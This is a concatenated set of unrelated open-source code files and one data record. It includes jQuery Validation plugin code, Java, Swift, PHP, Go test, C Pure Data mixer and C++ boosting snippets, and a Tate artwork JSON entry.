{\n\t\t\t\tvalue = $element.attr( method );\n\t\t\t}\n\n\t\t\tthis.normalizeAttributeRule( rules, type, method, value );\n\t\t}\n\n\t\t// maxlength may be returned as -1, 2147483647 ( IE ) and 524288 ( safari ) for text inputs\n\t\tif ( rules.maxlength && /-1|2147483647|524288/.test( rules.maxlength ) ) {\n\t\t\tdelete rules.maxlength;\n\t\t}\n\n\t\treturn rules;\n\t},\n\n\tdataRules: function( element ) {\n\t\tvar rules = {},\n\t\t\t$element = $( element ),\n\t\t\ttype = element.getAttribute( \"type\" ),\n\t\t\tmethod, value;\n\n\t\tfor ( method in $.validator.methods ) {\n\t\t\tvalue = $element.data( \"rule\" + method.charAt( 0 ).toUpperCase() + method.substring( 1 ).toLowerCase() );\n\t\t\tthis.normalizeAttributeRule( rules, type, method, value );\n\t\t}\n\t\treturn rules;\n\t},\n\n\tstaticRules: function( element ) {\n\t\tvar rules = {},\n\t\t\tvalidator = $.data( element.form, \"validator\" );\n\n\t\tif ( validator.settings.rules ) {\n\t\t\trules = $.validator.normalizeRule( validator.settings.rules[ element.name ] ) || {};\n\t\t}\n\t\treturn rules;\n\t},\n\n\tnormalizeRules: function( rules, element ) {\n\t\t// handle dependency check\n\t\t$.each( rules, function( prop, val ) {\n\t\t\t// ignore rule when param is explicitly false, eg. required:false\n\t\t\tif ( val === false ) {\n\t\t\t\tdelete rules[ prop ];\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif ( val.param || val.depends ) {\n\t\t\t\tvar keepRule = true;\n\t\t\t\tswitch ( typeof val.depends ) {\n\t\t\t\tcase \"string\":\n\t\t\t\t\tkeepRule = !!$( val.depends, element.form ).length;\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"function\":\n\t\t\t\t\tkeepRule = val.depends.call( element, element );\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif ( keepRule ) {\n\t\t\t\t\trules[ prop ] = val.param !== undefined ? val.param : true;\n\t\t\t\t} else {\n\t\t\t\t\tdelete rules[ prop ];\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\t// evaluate parameters\n\t\t$.each( rules, function( rule, parameter ) {\n\t\t\trules[ rule ] = $.isFunction( parameter ) ? parameter( element ) : parameter;\n\t\t});\n\n\t\t// clean number parameters\n\t\t$.each([ \"minlength\", \"maxlength\" ], function() {\n\t\t\tif ( rules[ this ] ) {\n\t\t\t\trules[ this ] = Number( rules[ this ] );\n\t\t\t}\n\t\t});\n\t\t$.each([ \"rangelength\", \"range\" ], function() {\n\t\t\tvar parts;\n\t\t\tif ( rules[ this ] ) {\n\t\t\t\tif ( $.isArray( rules[ this ] ) ) {\n\t\t\t\t\trules[ this ] = [ Number( rules[ this ][ 0 ]), Number( rules[ this ][ 1 ] ) ];\n\t\t\t\t} else if ( typeof rules[ this ] === \"string\" ) {\n\t\t\t\t\tparts = rules[ this ].replace(/[\\[\\]]/g, \"\" ).split( /[\\s,]+/ );\n\t\t\t\t\trules[ this ] = [ Number( parts[ 0 ]), Number( parts[ 1 ] ) ];\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\tif ( $.validator.autoCreateRanges ) {\n\t\t\t// auto-create ranges\n\t\t\tif ( rules.min != null && rules.max != null ) {\n\t\t\t\trules.range = [ rules.min, rules.max ];\n\t\t\t\tdelete rules.min;\n\t\t\t\tdelete rules.max;\n\t\t\t}\n\t\t\tif ( rules.minlength != null && rules.maxlength != null ) {\n\t\t\t\trules.rangelength = [ rules.minlength, rules.maxlength ];\n\t\t\t\tdelete rules.minlength;\n\t\t\t\tdelete rules.maxlength;\n\t\t\t}\n\t\t}\n\n\t\treturn rules;\n\t},\n\n\t// Converts a simple string to a {string: true} rule, e.g., \"required\" to {required:true}\n\tnormalizeRule: function( data ) {\n\t\tif ( typeof data === \"string\" ) {\n\t\t\tvar transformed = {};\n\t\t\t$.each( data.split( /\\s/ ), function() {\n\t\t\t\ttransformed[ this ] = true;\n\t\t\t});\n\t\t\tdata = transformed;\n\t\t}\n\t\treturn data;\n\t},\n\n\t// http://jqueryvalidation.org/jQuery.validator.addMethod/\n\taddMethod: function( name, method, message ) {\n\t\t$.validator.methods[ name ] = method;\n\t\t$.validator.messages[ name ] = message !== undefined ? message : $.validator.messages[ name ];\n\t\tif ( method.length < 3 ) {\n\t\t\t$.validator.addClassRules( name, $.validator.normalizeRule( name ) );\n\t\t}\n\t},\n\n\tmethods: {\n\n\t\t// http://jqueryvalidation.org/required-method/\n\t\trequired: function( value, element, param ) {\n\t\t\t// check if dependency is met\n\t\t\tif ( !this.depend( param, element ) ) {\n\t\t\t\treturn \"dependency-mismatch\";\n\t\t\t}\n\t\t\tif ( element.nodeName.toLowerCase() === \"select\" ) {\n\t\t\t\t// could be an array for select-multiple or a string, both are fine this way\n\t\t\t\tvar val = $( element ).val();\n\t\t\t\treturn val && val.length > 0;\n\t\t\t}\n\t\t\tif ( this.checkable( element ) ) {\n\t\t\t\treturn this.getLength( value, element ) > 0;\n\t\t\t}\n\t\t\treturn value.length > 0;\n\t\t},\n\n\t\t// http://jqueryvalidation.org/email-method/\n\t\temail: function( value, element ) {\n\t\t\t// From https://html.spec.whatwg.org/multipage/forms.html#valid-e-mail-address\n\t\t\t// Retrieved 2014-01-14\n\t\t\t// If you have a problem with this implementation, report a bug against the above spec\n\t\t\t// Or use custom methods to implement your own email validation\n\t\t\treturn this.optional( element ) || /^[a-zA-Z0-9.!#$%&'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/.test( value );\n\t\t},\n\n\t\t// http://jqueryvalidation.org/url-method/\n\t\turl: function( value, element ) {\n\n\t\t\t// Copyright (c) 2010-2013 Diego Perini, MIT licensed\n\t\t\t// https://gist.github.com/dperini/729294\n\t\t\t// see also https://mathiasbynens.be/demo/url-regex\n\t\t\t// modified to allow protocol-relative URLs\n\t\t\treturn this.optional( element ) || /^(?:(?:(?:https?|ftp):)?\\/\\/)(?:\\S+(?::\\S*)?@)?(?:(?!(?:10|127)(?:\\.\\d{1,3}){3})(?!(?:169\\.254|192\\.168)(?:\\.\\d{1,3}){2})(?!172\\.(?:1[6-9]|2\\d|3[0-1])(?:\\.\\d{1,3}){2})(?:[1-9]\\d?|1\\d\\d|2[01]\\d|22[0-3])(?:\\.(?:1?\\d{1,2}|2[0-4]\\d|25[0-5])){2}(?:\\.(?:[1-9]\\d?|1\\d\\d|2[0-4]\\d|25[0-4]))|(?:(?:[a-z\\u00a1-\\uffff0-9]-*)*[a-z\\u00a1-\\uffff0-9]+)(?:\\.(?:[a-z\\u00a1-\\uffff0-9]-*)*[a-z\\u00a1-\\uffff0-9]+)*(?:\\.(?:[a-z\\u00a1-\\uffff]{2,})).?)(?::\\d{2,5})?(?:[/?#]\\S*)?$/i.test( value );\n\t\t},\n\n\t\t// http://jqueryvalidation.org/date-method/\n\t\tdate: function( value, element ) {\n\t\t\treturn this.optional( element ) || !/Invalid|NaN/.test( new Date( value ).toString() );\n\t\t},\n\n\t\t// http://jqueryvalidation.org/dateISO-method/\n\t\tdateISO: function( value, element ) {\n\t\t\treturn this.optional( element ) || /^\\d{4}[\\/\\-](0?[1-9]|1[012])[\\/\\-](0?[1-9]|[12][0-9]|3[01])$/.test( value );\n\t\t},\n\n\t\t// http://jqueryvalidation.org/number-method/\n\t\tnumber: function( value, element ) {\n\t\t\treturn this.optional( element ) || /^(?:-?\\d+|-?\\d{1,3}(?:,\\d{3})+)?(?:\\.\\d+)?$/.test( value );\n\t\t},\n\n\t\t// http://jqueryvalidation.org/digits-method/\n\t\tdigits: function( value, element ) {\n\t\t\treturn this.optional( element ) || /^\\d+$/.test( value );\n\t\t},\n\n\t\t// http://jqueryvalidation.org/creditcard-method/\n\t\t// based on http://en.wikipedia.org/wiki/Luhn_algorithm\n\t\tcreditcard: function( value, element ) {\n\t\t\tif ( this.optional( element ) ) {\n\t\t\t\treturn \"dependency-mismatch\";\n\t\t\t}\n\t\t\t// accept only spaces, digits and dashes\n\t\t\tif ( /[^0-9 \\-]+/.test( value ) ) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tvar nCheck = 0,\n\t\t\t\tnDigit = 0,\n\t\t\t\tbEven = false,\n\t\t\t\tn, cDigit;\n\n\t\t\tvalue = value.replace( /\\D/g, \"\" );\n\n\t\t\t// Basing min and max length on\n\t\t\t// http://developer.ean.com/general_info/Valid_Credit_Card_Types\n\t\t\tif ( value.length < 13 || value.length > 19 ) {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tfor ( n = value.length - 1; n >= 0; n--) {\n\t\t\t\tcDigit = value.charAt( n );\n\t\t\t\tnDigit = parseInt( cDigit, 10 );\n\t\t\t\tif ( bEven ) {\n\t\t\t\t\tif ( ( nDigit *= 2 ) > 9 ) {\n\t\t\t\t\t\tnDigit -= 9;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tnCheck += nDigit;\n\t\t\t\tbEven = !bEven;\n\t\t\t}\n\n\t\t\treturn ( nCheck % 10 ) === 0;\n\t\t},\n\n\t\t// http://jqueryvalidation.org/minlength-method/\n\t\tminlength: function( value, element, param ) {\n\t\t\tvar length = $.isArray( value ) ? value.length : this.getLength( value, element );\n\t\t\treturn this.optional( element ) || length >= param;\n\t\t},\n\n\t\t// http://jqueryvalidation.org/maxlength-method/\n\t\tmaxlength: function( value, element, param ) {\n\t\t\tvar length = $.isArray( value ) ? value.length : this.getLength( value, element );\n\t\t\treturn this.optional( element ) || length <= param;\n\t\t},\n\n\t\t// http://jqueryvalidation.org/rangelength-method/\n\t\trangelength: function( value, element, param ) {\n\t\t\tvar length = $.isArray( value ) ? value.length : this.getLength( value, element );\n\t\t\treturn this.optional( element ) || ( length >= param[ 0 ] && length <= param[ 1 ] );\n\t\t},\n\n\t\t// http://jqueryvalidation.org/min-method/\n\t\tmin: function( value, element, param ) {\n\t\t\treturn this.optional( element ) || value >= param;\n\t\t},\n\n\t\t// http://jqueryvalidation.org/max-method/\n\t\tmax: function( value, element, param ) {\n\t\t\treturn this.optional( element ) || value <= param;\n\t\t},\n\n\t\t// http://jqueryvalidation.org/range-method/\n\t\trange: function( value, element, param ) {\n\t\t\treturn this.optional( element ) || ( value >= param[ 0 ] && value <= param[ 1 ] );\n\t\t},\n\n\t\t// http://jqueryvalidation.org/equalTo-method/\n\t\tequalTo: function( value, element, param ) {\n\t\t\t// bind to the blur event of the target in order to revalidate whenever the target field is updated\n\t\t\t// TODO find a way to bind the event just once, avoiding the unbind-rebind overhead\n\t\t\tvar target = $( param );\n\t\t\tif ( this.settings.onfocusout ) {\n\t\t\t\ttarget.off( \".validate-equalTo\" ).on( \"blur.validate-equalTo\", function() {\n\t\t\t\t\t$( element ).valid();\n\t\t\t\t});\n\t\t\t}\n\t\t\treturn value === target.val();\n\t\t},\n\n\t\t// http://jqueryvalidation.org/remote-method/\n\t\tremote: function( value, element, param ) {\n\t\t\tif ( this.optional( element ) ) {\n\t\t\t\treturn \"dependency-mismatch\";\n\t\t\t}\n\n\t\t\tvar previous = this.previousValue( element ),\n\t\t\t\tvalidator, data;\n\n\t\t\tif (!this.settings.messages[ element.name ] ) {\n\t\t\t\tthis.settings.messages[ element.name ] = {};\n\t\t\t}\n\t\t\tprevious.originalMessage = this.settings.messages[ element.name ].remote;\n\t\t\tthis.settings.messages[ element.name ].remote = previous.message;\n\n\t\t\tparam = typeof param === \"string\" && { url: param } || param;\n\n\t\t\tif ( previous.old === value ) {\n\t\t\t\treturn previous.valid;\n\t\t\t}\n\n\t\t\tprevious.old = value;\n\t\t\tvalidator = this;\n\t\t\tthis.startRequest( element );\n\t\t\tdata = {};\n\t\t\tdata[ element.name ] = value;\n\t\t\t$.ajax( $.extend( true, {\n\t\t\t\tmode: \"abort\",\n\t\t\t\tport: \"validate\" + element.name,\n\t\t\t\tdataType: \"json\",\n\t\t\t\tdata: data,\n\t\t\t\tcontext: validator.currentForm,\n\t\t\t\tsuccess: function( response ) {\n\t\t\t\t\tvar valid = response === true || response === \"true\",\n\t\t\t\t\t\terrors, message, submitted;\n\n\t\t\t\t\tvalidator.settings.messages[ element.name ].remote = previous.originalMessage;\n\t\t\t\t\tif ( valid ) {\n\t\t\t\t\t\tsubmitted = validator.formSubmitted;\n\t\t\t\t\t\tvalidator.prepareElement( element );\n\t\t\t\t\t\tvalidator.formSubmitted = submitted;\n\t\t\t\t\t\tvalidator.successList.push( element );\n\t\t\t\t\t\tdelete validator.invalid[ element.name ];\n\t\t\t\t\t\tvalidator.showErrors();\n\t\t\t\t\t} else {\n\t\t\t\t\t\terrors = {};\n\t\t\t\t\t\tmessage = response || validator.defaultMessage( element, \"remote\" );\n\t\t\t\t\t\terrors[ element.name ] = previous.message = $.isFunction( message ) ? message( value ) : message;\n\t\t\t\t\t\tvalidator.invalid[ element.name ] = true;\n\t\t\t\t\t\tvalidator.showErrors( errors );\n\t\t\t\t\t}\n\t\t\t\t\tprevious.valid = valid;\n\t\t\t\t\tvalidator.stopRequest( element, valid );\n\t\t\t\t}\n\t\t\t}, param ) );\n\t\t\treturn \"pending\";\n\t\t}\n\t}\n\n});\n\n// ajax mode: abort\n// usage: $.ajax({ mode: \"abort\"[, port: \"uniqueport\"]});\n// if mode:\"abort\" is used, the previous request on that port (port can be undefined) is aborted via XMLHttpRequest.abort()\n\nvar pendingRequests = {},\n\tajax;\n// Use a prefilter if available (1.5+)\nif ( $.ajaxPrefilter ) {\n\t$.ajaxPrefilter(function( settings, _, xhr ) {\n\t\tvar port = settings.port;\n\t\tif ( settings.mode === \"abort\" ) {\n\t\t\tif ( pendingRequests[port] ) {\n\t\t\t\tpendingRequests[port].abort();\n\t\t\t}\n\t\t\tpendingRequests[port] = xhr;\n\t\t}\n\t});\n} else {\n\t// Proxy ajax\n\tajax = $.ajax;\n\t$.ajax = function( settings ) {\n\t\tvar mode = ( \"mode\" in settings ? settings : $.ajaxSettings ).mode,\n\t\t\tport = ( \"port\" in settings ? settings : $.ajaxSettings ).port;\n\t\tif ( mode === \"abort\" ) {\n\t\t\tif ( pendingRequests[port] ) {\n\t\t\t\tpendingRequests[port].abort();\n\t\t\t}\n\t\t\tpendingRequests[port] = ajax.apply(this, arguments);\n\t\t\treturn pendingRequests[port];\n\t\t}\n\t\treturn ajax.apply(this, arguments);\n\t};\n}\n\n}));"} +{"text": "/*\n * Copyright 2012-2019 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.spring.initializr.generator.spring.code;\n\nimport io.spring.initializr.generator.language.CompilationUnit;\nimport io.spring.initializr.generator.language.SourceCode;\nimport io.spring.initializr.generator.language.TypeDeclaration;\n\nimport org.springframework.core.Ordered;\n\n/**\n * Callback for customizing the application's main source code. Invoked with an\n * {@link Ordered order} of {@code 0} by default, considering overriding\n * {@link #getOrder()} to customize this behaviour.\n *\n * @param language-specific type declaration\n * @param language-specific compilation unit\n * @param language-specific source code\n * @author Andy Wilkinson\n */\n@FunctionalInterface\npublic interface MainSourceCodeCustomizer, S extends SourceCode>\n\t\textends Ordered {\n\n\tvoid customize(S sourceCode);\n\n\t@Override\n\tdefault int getOrder() {\n\t\treturn 0;\n\t}\n\n}\n"} +{"text": "//\n// CGPoint+Util.swift\n// DynamicView\n//\n// Created by YiLun Zhao on 2016-01-17.\n// Copyright © 2016 lkzhao. All rights reserved.\n//\n\nimport UIKit\n\nextension CGFloat{\n func clamp(_ a:CGFloat, _ b:CGFloat) -> CGFloat{\n return self < a ? a : (self > b ? b : self)\n }\n}\nextension CGPoint{\n func translate(_ dx:CGFloat, dy:CGFloat) -> CGPoint{\n return CGPoint(x: self.x+dx, y: self.y+dy)\n }\n \n func transform(_ t:CGAffineTransform) -> CGPoint{\n return self.applying(t)\n }\n \n func distance(_ b:CGPoint)->CGFloat{\n return sqrt(pow(self.x-b.x,2)+pow(self.y-b.y,2));\n }\n}\nfunc +(left: CGPoint, right: CGPoint) -> CGPoint {\n return CGPoint(x: left.x + right.x, y: left.y + right.y)\n}\nfunc -(left: CGPoint, right: CGPoint) -> CGPoint {\n return CGPoint(x: left.x - right.x, y: left.y - right.y)\n}\nfunc /(left: CGPoint, right: CGFloat) -> CGPoint {\n return CGPoint(x: left.x/right, y: left.y/right)\n}\nfunc *(left: CGPoint, right: CGFloat) -> CGPoint {\n return CGPoint(x: left.x*right, y: left.y*right)\n}\nfunc *(left: CGFloat, right: CGPoint) -> CGPoint {\n return right * left\n}\nfunc *(left: CGPoint, right: CGPoint) -> CGPoint {\n return CGPoint(x: left.x*right.x, y: left.y*right.y)\n}\nprefix func -(point:CGPoint) -> CGPoint {\n return CGPoint.zero - point\n}\n"} +{"text": "getRootNode();\n $root->addDefaultsIfNotSet();\n $root->children()\n ->scalarNode('classname')\n ->isRequired()\n ->cannotBeEmpty()\n ->info('Full qualified class name for the Provider class.')\n ->end()\n ->arrayNode('options')\n ->arrayPrototype()\n ->children()\n ->scalarNode('name')\n ->cannotBeEmpty()\n ->isRequired()\n ->info('Additional option name.')\n ->end()\n ->scalarNode('value')\n ->defaultNull()\n ->end()\n ->end()\n ->end()\n ->defaultValue([])\n ->info('Additional options to pass to Provider class.')\n ->end();\n\n return $builder;\n }\n}\n"} +{"text": "package plugin\n\nimport (\n\t\"github.com/mitchellh/packer/packer\"\n\t\"os/exec\"\n\t\"testing\"\n)\n\ntype helperCommand byte\n\nfunc (helperCommand) Help() string {\n\treturn \"2\"\n}\n\nfunc (helperCommand) Run(packer.Environment, []string) int {\n\treturn 42\n}\n\nfunc (helperCommand) Synopsis() string {\n\treturn \"1\"\n}\n\nfunc TestCommand_NoExist(t *testing.T) {\n\tc := NewClient(&ClientConfig{Cmd: exec.Command(\"i-should-not-exist\")})\n\tdefer c.Kill()\n\n\t_, err := c.Command()\n\tif err == nil {\n\t\tt.Fatal(\"should have error\")\n\t}\n}\n\nfunc TestCommand_Good(t *testing.T) {\n\tc := NewClient(&ClientConfig{Cmd: helperProcess(\"command\")})\n\tdefer c.Kill()\n\n\tcommand, err := c.Command()\n\tif err != nil {\n\t\tt.Fatalf(\"should not have error: %s\", err)\n\t}\n\n\tresult := command.Synopsis()\n\tif result != \"1\" {\n\t\tt.Errorf(\"synopsis not correct: %s\", result)\n\t}\n\n\tresult = command.Help()\n\tif result != \"2\" {\n\t\tt.Errorf(\"help not correct: %s\", result)\n\t}\n}\n"} +{"text": "/******************************************************\n\n Very simple Mixer for RME DSP-MADI \n and maybe other hammerfall dsp \n (C) 2003 IEM, Winfried Ritsch (ritsch at iem.at)\n Institute of Electronic Music and Acoustics\n\n PD-External (see hdspmmixer-help.pd)\n\n institute of electronic music and acoustics (iem)\n\n\n****************************************************\n\n license: GNU General Public License v.2\n\n****************************************************/\n#include \"m_pd.h\"\n#include \"hdspm_mixer.h\"\n\n/* hdspmmixer :: allows control of the mixer (controls) for the ALSA soundcard driver */\n\n# include \n# include \n# include \n# include \n# include \n# include \n# include \n# include \n# include \n#include \n\n#ifdef HAVE_ALSA\n# include \n#endif /* ALSA */\n\nstatic t_class *hdspmmixer_class;\n\ntypedef struct _hdspmmixer\n{\n t_object x_obj;\n t_outlet*x_error;\n} t_hdspmmixer;\n\nstatic void hdspmmixer_bang(t_hdspmmixer *x)\n{\n\toutlet_float(x->x_error,(float) find_cards());\n}\n\nstatic void hdspmmixer_get(t_hdspmmixer *x, t_symbol *s, int argc, t_atom *argv)\n{\n int idx, src, dst,val;\n\n\n if (argc < 3 || A_FLOAT != argv->a_type || A_FLOAT != (argv+1)->a_type || A_FLOAT != (argv+2)->a_type ) {\t\n error(\"hdspmmixer: set \\n\");\n /* return -EINVAL;*/\n }\n\n idx = atom_getint(argv);\n src = atom_getint(argv+1);\n dst = atom_getint(argv+2);\n\n val = get_gain(idx,src,dst);\n\n if(val < 0)\n\toutlet_float(x->x_error,(float) val);\n else\t\t\n \toutlet_float(x->x_obj.ob_outlet,(float) val);\n\n /* post(\"gain: %i\",get_gain(idx,src,dst));*/\n}\n\nstatic void hdspmmixer_set(t_hdspmmixer *x, t_symbol *s, int argc, t_atom *argv)\n{\n int idx, src, dst,val;\n\n if (argc < 4 || A_FLOAT != argv->a_type || A_FLOAT != (argv+1)->a_type || A_FLOAT != (argv+2)->a_type ) {\t\n error(\"hdspmmixer: set \\n\");\n /* return -EINVAL; */\n }\n\n idx = atom_getint(argv);\n src = atom_getint(argv+1);\n dst = atom_getint(argv+2);\n val = atom_getint(argv+3);\n\n val = set_gain(idx,src,dst,val);\n\n if(val < 0)\n\toutlet_float(x->x_error,val);\n else\t\t\n \toutlet_float(x->x_obj.ob_outlet,(float) val);\n\n/* post(\"gain: %i\",set_gain(idx,src,dst,val)); */\n}\n\nstatic void hdspmmixer_free(t_hdspmmixer *x){\n\n\treturn;\n\n}\n\nstatic void *hdspmmixer_new(void)\n{\n t_hdspmmixer *x = (t_hdspmmixer *)pd_new(hdspmmixer_class);\n outlet_new(&x->x_obj, 0);\n x->x_error=outlet_new(&x->x_obj, 0);\n\n return (x);\n}\n\nvoid hdspmmixer_setup(void)\n{\n post(\"hdspmmixer: ALSA HDSP Mixer control\");\n post(\" Copyright (C) Winfried Ritsch\");\n post(\" institute of electronic music and acoustics (iem)\");\n post(\" published under the GNU General Public License version 2\");\n#ifdef VERSION\n startpost(\" version:\"VERSION);\n#endif\n post(\"\\tcompiled: \"__DATE__\"\");\n\n hdspmmixer_class = class_new(gensym(\"hdspmmixer\"), (t_newmethod)hdspmmixer_new, (t_method)hdspmmixer_free,\n sizeof(t_hdspmmixer), 0, 0);\n\n class_addbang(hdspmmixer_class, (t_method)hdspmmixer_bang);\n class_addmethod(hdspmmixer_class, (t_method)hdspmmixer_bang,gensym(\"find\"), 0);\n class_addmethod(hdspmmixer_class, (t_method)hdspmmixer_get,gensym(\"get\"), A_GIMME, 0);\n class_addmethod(hdspmmixer_class, (t_method)hdspmmixer_set,gensym(\"set\"), A_GIMME, 0);\n\n // class_addmethod(hdspmmixer_class, (t_method)hdspmmixer_listdevices,gensym(\"\"), A_DEFSYM, 0);\n}\n"} +{"text": "{\n \"acno\": \"D25475\", \n \"acquisitionYear\": 1856, \n \"all_artists\": \"Joseph Mallord William Turner\", \n \"catalogueGroup\": {}, \n \"classification\": \"on paper, unique\", \n \"contributorCount\": 1, \n \"contributors\": [\n {\n \"birthYear\": 1775, \n \"date\": \"1775\\u20131851\", \n \"displayOrder\": 1, \n \"fc\": \"Joseph Mallord William Turner\", \n \"gender\": \"Male\", \n \"id\": 558, \n \"mda\": \"Turner, Joseph Mallord William\", \n \"role\": \"artist\", \n \"startLetter\": \"T\"\n }\n ], \n \"creditLine\": \"Accepted by the nation as part of the Turner Bequest 1856\", \n \"dateRange\": {\n \"endYear\": 1830, \n \"startYear\": 1820, \n \"text\": \"c.1820-30\"\n }, \n \"dateText\": \"c.1820\\u201330\", \n \"depth\": \"\", \n \"dimensions\": \"support: 355 x 509 mm\", \n \"finberg\": \"CCLXIII 352\", \n \"foreignTitle\": null, \n \"groupTitle\": null, \n \"height\": \"509\", \n \"id\": 52812, \n \"inscription\": null, \n \"medium\": \"Watercolour on paper\", \n \"movementCount\": 0, \n \"subjectCount\": 3, \n \"subjects\": {\n \"children\": [\n {\n \"children\": [\n {\n \"children\": [\n {\n \"id\": 569, \n \"name\": \"cow\"\n }\n ], \n \"id\": 67, \n \"name\": \"animals: mammals\"\n }, \n {\n \"children\": [\n {\n \"id\": 636, \n \"name\": \"hill\"\n }\n ], \n \"id\": 71, \n \"name\": \"landscape\"\n }\n ], \n \"id\": 60, \n \"name\": \"nature\"\n }, \n {\n \"children\": [\n {\n \"children\": [\n {\n \"id\": 2030, \n \"name\": \"windmill\"\n }\n ], \n \"id\": 19, \n \"name\": \"industrial\"\n }\n ], \n \"id\": 13, \n \"name\": \"architecture\"\n }\n ], \n \"id\": 1, \n \"name\": \"subject\"\n }, \n \"thumbnailCopyright\": null, \n \"thumbnailUrl\": \"http://www.tate.org.uk/art/images/work/D/D25/D25475_8.jpg\", \n \"title\": \"Windmill, with Cattle\", \n \"units\": \"mm\", \n \"url\": \"http://www.tate.org.uk/art/artworks/turner-windmill-with-cattle-d25475\", \n \"width\": \"355\"\n}"} +{"text": "// Copyright (c) 2018 Microsoft Corporation\n// Licensed under the MIT license.\n// Author: Paul Koch \n\n#include \"PrecompiledHeader.h\"\n\n#include // size_t, ptrdiff_t\n\n#include \"ebm_native.h\" // FloatEbmType\n#include \"EbmInternal.h\" // INLINE_ALWAYS\n#include \"Logging.h\" // EBM_ASSERT & LOG\n\n#include \"EbmStatisticUtils.h\"\n\n#include \"FeatureAtomic.h\"\n#include \"FeatureGroup.h\"\n#include \"DataSetBoosting.h\"\n\n#include \"Booster.h\"\n\n#include \"HistogramTargetEntry.h\"\n#include \"HistogramBucket.h\"\n\ntemplate\nclass BinBoostingZeroDimensions final {\npublic:\n\n BinBoostingZeroDimensions() = delete; // this is a static class. Do not construct\n\n static void Func(\n EbmBoostingState * const pEbmBoostingState,\n const SamplingSet * const pTrainingSet,\n HistogramBucketBase * const pHistogramBucketEntryBase\n ) {\n constexpr bool bClassification = IsClassification(compilerLearningTypeOrCountTargetClasses);\n\n LOG_0(TraceLevelVerbose, \"Entered BinDataSetTrainingZeroDimensions\");\n\n HistogramBucket * const pHistogramBucketEntry =\n pHistogramBucketEntryBase->GetHistogramBucket();\n\n const ptrdiff_t runtimeLearningTypeOrCountTargetClasses = pEbmBoostingState->GetRuntimeLearningTypeOrCountTargetClasses();\n\n const ptrdiff_t learningTypeOrCountTargetClasses = GET_LEARNING_TYPE_OR_COUNT_TARGET_CLASSES(\n compilerLearningTypeOrCountTargetClasses,\n runtimeLearningTypeOrCountTargetClasses\n );\n const size_t cVectorLength = GetVectorLength(learningTypeOrCountTargetClasses);\n EBM_ASSERT(!GetHistogramBucketSizeOverflow(bClassification, cVectorLength)); // we're accessing allocated memory\n\n const size_t cSamples = pTrainingSet->GetDataSetByFeatureGroup()->GetCountSamples();\n EBM_ASSERT(0 < cSamples);\n\n const size_t * pCountOccurrences = pTrainingSet->GetCountOccurrences();\n const FloatEbmType * pResidualError = pTrainingSet->GetDataSetByFeatureGroup()->GetResidualPointer();\n // this shouldn't overflow since we're accessing existing memory\n const FloatEbmType * const pResidualErrorEnd = pResidualError + cVectorLength * cSamples;\n\n HistogramBucketVectorEntry * const pHistogramBucketVectorEntry =\n pHistogramBucketEntry->GetHistogramBucketVectorEntry();\n do {\n // this loop gets about twice as slow if you add a single unpredictable branching if statement based on count, even if you still access all the memory\n // in complete sequential order, so we'll probably want to use non-branching instructions for any solution like conditional selection or multiplication\n // this loop gets about 3 times slower if you use a bad pseudo random number generator like rand(), although it might be better if you inlined rand().\n // this loop gets about 10 times slower if you use a proper pseudo random number generator like std::default_random_engine\n // taking all the above together, it seems unlikley we'll use a method of separating sets via single pass randomized set splitting. Even if count is \n // stored in memory if shouldn't increase the time spent fetching it by 2 times, unless our bottleneck when threading is overwhelmingly memory \n // pressure related, and even then we could store the count for a single bit aleviating the memory pressure greatly, if we use the right \n // sampling method \n\n // TODO : try using a sampling method with non-repeating samples, and put the count into a bit. Then unwind that loop either at the byte level \n // (8 times) or the uint64_t level. This can be done without branching and doesn't require random number generators\n\n const size_t cOccurences = *pCountOccurrences;\n ++pCountOccurrences;\n pHistogramBucketEntry->SetCountSamplesInBucket(pHistogramBucketEntry->GetCountSamplesInBucket() + cOccurences);\n const FloatEbmType cFloatOccurences = static_cast(cOccurences);\n\n size_t iVector = 0;\n\n#ifndef NDEBUG\n#ifdef EXPAND_BINARY_LOGITS\n constexpr bool bExpandBinaryLogits = true;\n#else // EXPAND_BINARY_LOGITS\n constexpr bool bExpandBinaryLogits = false;\n#endif // EXPAND_BINARY_LOGITS\n FloatEbmType residualTotalDebug = 0;\n#endif // NDEBUG\n do {\n const FloatEbmType residualError = *pResidualError;\n EBM_ASSERT(!bClassification ||\n ptrdiff_t { 2 } == runtimeLearningTypeOrCountTargetClasses && !bExpandBinaryLogits ||\n static_cast(iVector) != k_iZeroResidual || 0 == residualError);\n#ifndef NDEBUG\n residualTotalDebug += residualError;\n#endif // NDEBUG\n pHistogramBucketVectorEntry[iVector].m_sumResidualError += cFloatOccurences * residualError;\n if(bClassification) {\n // TODO : this code gets executed for each SamplingSet set. I could probably execute it once and then all the \n // SamplingSet sets would have this value, but I would need to store the computation in a new memory place, and it might make \n // more sense to calculate this values in the CPU rather than put more pressure on memory. I think controlling this should be done in a \n // MACRO and we should use a class to hold the residualError and this computation from that value and then comment out the computation if \n // not necssary and access it through an accessor so that we can make the change entirely via macro\n const FloatEbmType denominator = EbmStatistics::ComputeNewtonRaphsonStep(residualError);\n pHistogramBucketVectorEntry[iVector].SetSumDenominator(pHistogramBucketVectorEntry[iVector].GetSumDenominator() + cFloatOccurences * denominator);\n }\n ++pResidualError;\n ++iVector;\n // if we use this specific format where (iVector < cVectorLength) then the compiler collapses alway the loop for small cVectorLength values\n // if we make this (iVector != cVectorLength) then the loop is not collapsed\n // the compiler seems to not mind if we make this a for loop or do loop in terms of collapsing away the loop\n } while(iVector < cVectorLength);\n\n EBM_ASSERT(\n !bClassification ||\n ptrdiff_t { 2 } == 